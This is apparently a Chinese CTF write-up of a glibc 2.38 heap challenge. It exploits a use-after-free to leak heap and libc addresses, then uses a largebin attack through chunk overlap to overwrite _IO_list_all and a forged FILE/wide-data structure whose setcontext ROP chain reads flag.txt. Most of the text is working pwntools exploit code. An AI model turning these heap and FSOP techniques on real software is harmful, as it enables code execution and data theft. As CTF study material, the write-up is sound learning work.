Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

理解程序

checksec:

全保护开启,IDA64查看

add函数:

输入的大小限制在0x500到0x600之间 也就是largebin其中的区间

同时必须在add的时候选择是否edit 只能edit5次

限制只能申请最多31个chunk

delete函数:

free后没清零 存在UAF

show函数:

同时程序还有用prctl实现的沙箱:

libc版本为2.38,版本较高,考虑用IO链打orw,这里使用的是house of 一骑当千

先利用large bin和uaf泄露堆地址和libc地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
add(0x500) #chunk0
add(0x510) #chunk1
add(0x520) #chunk2
add(0x530) #chunk3
delete(0)
delete(2)
show(2)
heap_base = u64(p.recv(6).ljust(8, b'\x00')) - 0x290
print(hex(heap_base))
sleep(0.1)
add(0x520)
show(0)
libc_base = u64(p.recv(6).ljust(8, b'\x00')) -0x25e130
fdbk = libc_base + 0x25e130
print(hex(libc_base))
libc = ELF('./libc.so.6')
IO_list_all_addr = libc_base + libc.sym['_IO_list_all']
_IO_wfile_jumps_addr = libc_base + libc.sym['_IO_wfile_jumps']
print(hex(IO_list_all_addr))
#pause()
system_addr = libc_base + libc.sym['system']
add(0x500)

接下来是制作伪造IO表,套模板

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

add(0x510) #chunk6
add(0x5e0)
add(0x520)
add(0x500)
add(0x500)
#pause()
pop_rdi_ret=libc_base+0x28715
pop_rsi_ret=libc_base+0x2a671
pop_rdx_rbp_ret=libc_base+0x93359
pop_rbp_ret=libc_base+0x28620

fake_io = p64(0)
fake_io += p64(0)
fake_io += p64(0)
fake_io += p64(1)
fake_io += p64(0) * 7
fake_io += p64(0)
fake_io += p32(2) + p32(0)
fake_io+=p64(0xffffffffffffffff)
fake_io+=p64(0)
fake_io+=p64(libc_base+0x25f8f0)
fake_io+=p64(0xffffffffffffffff)
fake_io+=p64(0xa000000)
fake_io+=p64(heap_base+0x33a0) #wide_data;rsp; pointing ROP (Fake_Fake_IO_wide_data)
fake_io+=p64(libc_base + 0x28621) #rip
fake_io+=p64(0x0)
fake_io+=p64(0x33)
fake_io+=p64(0xffffffff) #-1 errno
fake_io+=p64(0x0)
fake_io+=p64(0x0)
fake_io+=p64(libc_base+libc.sym['_IO_wfile_jumps'])
fake_io+=p64(libc_base+0x25f8f0) #need_can_write
fake_io+=p64(0x0)
fake_io+=p64(0x0)

Fake_Fake_IO_wide_data=p64(pop_rdi_ret)+p64(heap_base+0x33a0+0x100) #pointing 'flag.txt'
Fake_Fake_IO_wide_data+=p64(pop_rsi_ret)+p64(0)
Fake_Fake_IO_wide_data+=p64(pop_rdx_rbp_ret)+p64(0)+p64(0)
Fake_Fake_IO_wide_data+=p64(pop_rbp_ret)+p64(libc_base+0x25eb80)
Fake_Fake_IO_wide_data+=p64(libc_base+libc.sym['open'])
Fake_Fake_IO_wide_data+=p64(pop_rdi_ret)+p64(3)
Fake_Fake_IO_wide_data+=p64(pop_rsi_ret)+p64(heap_base)
Fake_Fake_IO_wide_data+=p64(pop_rdx_rbp_ret)+p64(0x100)+p64(libc_base+0x25eb80)
Fake_Fake_IO_wide_data+=p64(libc_base+libc.sym['read'])
Fake_Fake_IO_wide_data+=p64(pop_rdi_ret)+p64(1)
Fake_Fake_IO_wide_data+=p64(libc_base+libc.sym['write'])
Fake_Fake_IO_wide_data=Fake_Fake_IO_wide_data.ljust(0xe0,b'\x00')
Fake_Fake_IO_wide_data+=p64(heap_base+0x33a0+0x200) #point to fake wide vtable
Fake_Fake_IO_wide_data=Fake_Fake_IO_wide_data.ljust(0x100,b'\x00')
Fake_Fake_IO_wide_data+=b'flag.txt'

Fake_wide_vtable=p64(0)*13+p64(libc_base+libc.sym['setcontext'])

fake = fake_io
fake = fake.ljust(0x200, b'\x00')
fake += Fake_Fake_IO_wide_data
fake = fake.ljust(0x400, b'\x00')
fake += Fake_wide_vtable

将设置setcontext的寄存器和伪造IO合并了

然后把前面泄露地址用的bins都清空

同时程序限制了只能在add的时候edit,这种状况下要进行large bin attack:要利用堆块重叠

1.free掉2个不同大小的相邻large bin chunk(chunkA chunkB) 这样会让它们合并为一个整块的unsorted bin

2.再add chunkB大小的chunk同时修改内容:chunkA填充+ prev_size(0) + size(chunkB大小 + chunkB的下一个chunk大小 + 1) 堆块重叠

3.再add chunkA大小的chunk

4.free掉chunkB 此时因为前面修改了chunkB位置的size,所以会将chunkB及其下一个chunk都放进unsorted bin里

5.接下来free掉一个比chunkA小且在large bin大小的chunk再申请回去 这样会让修改size后的chunkB进入到large bin链条里

6.最后再申请chunkB大小的chunk并且修改 就能够成功修改到位于large bin链条里面的伪造chunkB的bk_nextsize 从而实现large bin attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
add_edit(0x500, fake)  #chunk11
#pause()
add(0x5f0)
add(0x500)
add(0x500)
add(0x500)
add(0x500) #chunk16

delete(6) #0x510
#pause()
delete(7) #0x5e0
#pause()
payload = b'\x00' * (0x510) + p64(0) + p64(0xb21)
add_edit(0x5e0, payload) #chunk17 ;set new size to chunk7
#pause()
add(0x510)
delete(7)
delete(15)
add(0x500)
pause()
delete(17)
payload = b'\x00'*0x510+p64(0)+p64(0xb21)+p64(libc_base+0x25e2b0)*2+p64(0)+p64(libc_base+libc.sym['_IO_list_all']-0x20)
add_edit(0x5e0, payload) #edit chunk7's bk_nextsize
#pause()
delete(11)
#pause()
delete(12) #delete chunk11 and 12 to consolidate size:0xb10
pause()
delete(15)
pause()
add(0x500) #common large bin attack

最后只要再发送个4就能刷新IO表 orw了

评论